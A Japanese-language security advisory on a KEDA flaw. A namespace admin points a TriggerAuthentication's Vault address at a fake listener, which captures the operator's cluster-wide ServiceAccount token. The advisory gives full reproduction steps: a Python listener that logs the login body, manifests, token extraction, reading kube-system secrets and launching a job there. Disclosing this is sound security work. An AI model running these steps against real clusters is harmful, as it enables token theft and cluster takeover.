KEDA: KEDAトリガー認証による、ネームスペース管理者権限からのクラスター管理者権限への昇格
## 概要
ネームスペース管理者が、自身のネームスペース内に`TriggerAuthentication`と`ScaledObject`を作成した場合、KEDAオペレーターが自身のServiceAccountトークンを、テナントが管理するURLに送信する可能性があります。そのトークンは、クラスター全体で`["*"]/["*"] get`権限を持ち、すべてのネームスペースにあるすべてのシークレットを読み取ることができます。また、クラスター全体で`batch/jobs`の作成/削除、`horizontalpodautoscalers`の作成/削除、あらゆるワークロードに対する`*/scale`の更新、`validatingwebhookconfigurations`の更新(クラスターのAdmission制御の書き換えまたは無効化)、および`apiservices`の更新(集約されたAPIルーティングの乗っ取り)が可能です。これは、実環境において、ネームスペース管理者権限からクラスター管理者権限への昇格に相当します。クラスター全体でのシークレットの読み取りだけでも、より高い権限を持つServiceAccountのトークンを見つけることができ、クラスター全体での`batch/jobs`の作成により、攻撃者は、Pod Security Admissionレベルが許可する(またはPSAの例外である、例えば`kube-system`、`kyverno`など)任意のネームスペースでワークロードを実行し、ノードファイルシステムやコントロールプレーンのkubeconfigにアクセスできるようになります。
これは、CVE-2025-68476の不完全な修正です。コンテンツフィルターは、ロードされたファイルが`system:serviceaccount:`で始まるJWTであるかどうかのみを確認し、オペレーター自身のプロジェクションされたトークンはこの要件を満たしています。また、宛先フィールド`hashiCorpVault.address`は検証されていません。
発見者: Artem Cherezov (@cherez0ff)、Claude Opus 4.8
## 実際に検証済み
kind v1.31.2、kedacore/keda v2.20.0 (監査時の最新バージョン、<https://github.com/kedacore/keda>) を、変更されていないリリースマニフェスト`keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`) からインストール。デフォルト設定。
## 前提条件
1. テナントは、自身の名前空間内の `triggerauthentications.keda.sh` および `scaledobjects.keda.sh` に対して `create` 権限を持ちます(これはKEDAテナントの標準的なワークフローです)。また、その名前空間内に組み込みの `edit` ClusterRole も存在します。マルチテナント環境では、名前空間管理者権限のRole (`--verb='*' --resource='*.*'`) によって付与されることが一般的です。
2. KEDAは、デフォルト設定でインストールされます。
## 再現手順
### クラスタの準備(攻撃の一部ではありません)
```sh
kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig
export KUBECONFIG=./kubeconfig
# KEDA v2.20.0をインストールします(変更されていないベンダーリリースマニフェストを使用)。
curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml
kubectl apply --server-side -f keda-2.20.0.yaml
kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s
kubectl -n keda rollout status deploy/keda-operator --timeout=180s
# テナントのID:テナント-aの名前空間管理者。
kubectl create namespace tenant-a
kubectl -n tenant-a create serviceaccount tenant
kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant
kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh
kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant
```
# 実際のTokenRequestトークンから、テナント用のkubeconfigを作成します。
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: tenant
context: { cluster: kind, user: tenant, namespace: tenant-a }
current-context: tenant
users:
- name: tenant
user: { token: ${TOKEN} }
EOF
# 効果を明確にするために、kube-systemに「secret」のカナリアを配置します。
kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e
```
### 攻撃
1. テナントのnamespaceに、HashiCorp Vaultサーバーを模倣するリスナーをデプロイします。このリスナーは、ログインリクエストのボディをログに記録し、正しくフォーマットされたVault認証レスポンスを返します。KEDAオペレーターは、VaultのGoクライアントを使用し、ログインをHTTP `PUT`として送信するため、リスナーはすべてのメソッドを受け入れる必要があります。
```sh
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: ConfigMap
metadata: { name: fake-vault-src, namespace: tenant-a }
data:
vault.py: |
import http.server, socketserver, sys, json
class H(http.server.BaseHTTPRequestHandler):
def log_message(self,*a): pass
def _h(self):
ln=int(self.headers.get('Content-Length') or 0)
body=self.rfile.read(ln) if ln else b''
sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()
r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode()
self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r)
do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h
socketserver.TCPServer.allow_reuse_address=True
with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever()
---
apiVersion: v1
kind: Pod
metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }
spec:
containers:
- name: vault
image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203
command: ["python3","/src/vault.py"]
volumeMounts: [{ name: src, mountPath: /src }]
volumes: [{ name: src, configMap: { name: fake-vault-src } }]
---
apiVersion: v1
kind: Service
metadata: { name: fake-vault, namespace: tenant-a }
spec:
selector: { app: fake-vault }
ports: [{ port: 8200, targetPort: 8200 }]
EOF
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s
```
2. `TriggerAuthentication`(基本オブジェクト)と、それを参照する`cron`トリガーを持つ`ScaledObject`を作成します。`authentication: kubernetes`を指定し、`credential`ブロックがない場合、KEDAはデフォルトで`credential.serviceAccount`を、オペレーターポッド自身のトークンパスに設定します。
```sh
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata: { name: vault-auth, namespace: tenant-a }
spec:
hashiCorpVault:
address: http://fake-vault.tenant-a.svc:8200 # テナントが制御する宛先、検証なし
authentication: kubernetes
mount: kubernetes
role: poc
secrets:
- { parameter: anything, key: anything, path: secret/data/anything }
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata: { name: poc-so, namespace: tenant-a }
spec:
scaleTargetRef: { name: poc-target }
pollingInterval: 5
minReplicaCount: 0
maxReplicaCount: 2
triggers:
- type: cron
metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" }
authenticationRef: { name: vault-auth }
---
apiVersion: apps/v1
kind: Deployment
metadata: { name: poc-target, namespace: tenant-a }
spec:
replicas: 1
selector: { matchLabels: { app: poc-target } }
template:
metadata: { labels: { app: poc-target } }
spec:
containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]
EOF
```
3. オペレーターは`ScaledObject`を調整し、スケーラーを構築し、`authenticationRef`を解決し、自身のServiceAccountトークンを、VaultへのログインボディとしてリッナーにPUTします。それを読み戻します。
```sh
sleep 20
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'
# VAULT-LOGIN PUT /v1/auth/kubernetes/login
# {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"}
```
4. 盗まれたトークンからkubeconfigを構築し、それを使用します。このトークンは、オペレーターのServiceAccountとして認証され、テナントが直接読み取ることができない`kube-system`のシークレットを読み取ります。
```sh
STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \
| sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1)
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: stolen
context: { cluster: kind, user: stolen }
current-context: stolen
users:
- name: stolen
user: { token: ${STOLEN} }
EOF
kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# ユーザー名: system:serviceaccount:keda:keda-operator
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d
# KEDA-F1-CANARY-7f3a9c2e
# このトークンは、バッチジョブなどを通じて、クラスター全体にワークロードを作成します。ジョブによって、ポッドがkube-systemに配置されます。
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'
# job.batch/pwn が作成されました
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn
# pwn-q5j5s 1/1 実行中 0 8秒
## 根本原因
テナントのnamespaceは、オペレーター自身のクラスター特権を持つIDを使用して、オペレーターがテナントが管理するサーバーに認証を行うべきではありません。宛先のアドレスは完全にテナントが管理しており、検証されていません。また、オペレーターが提示する認証情報は、デフォルトでオペレーター自身のServiceAccountトークンです。以前の任意ファイル読み込みに関する注意喚起で追加されたコンテンツフィルターは、読み込まれたバイトがKubernetes ServiceAccountトークンの形式であるかどうかのみを確認しており、これはオペレーター自身のトークンの形式と一致するため、認証情報をテナントが使用する権限のあるものに制限していません。
影響を受けるパッケージ:
- go github.com/kedacore/keda: 影響を受けるバージョン <= 1.5.0、修正はなし
- go github.com/kedacore/keda/v2: 影響を受けるバージョン < 2.21.0、修正は 2.21.0 で行われました。
```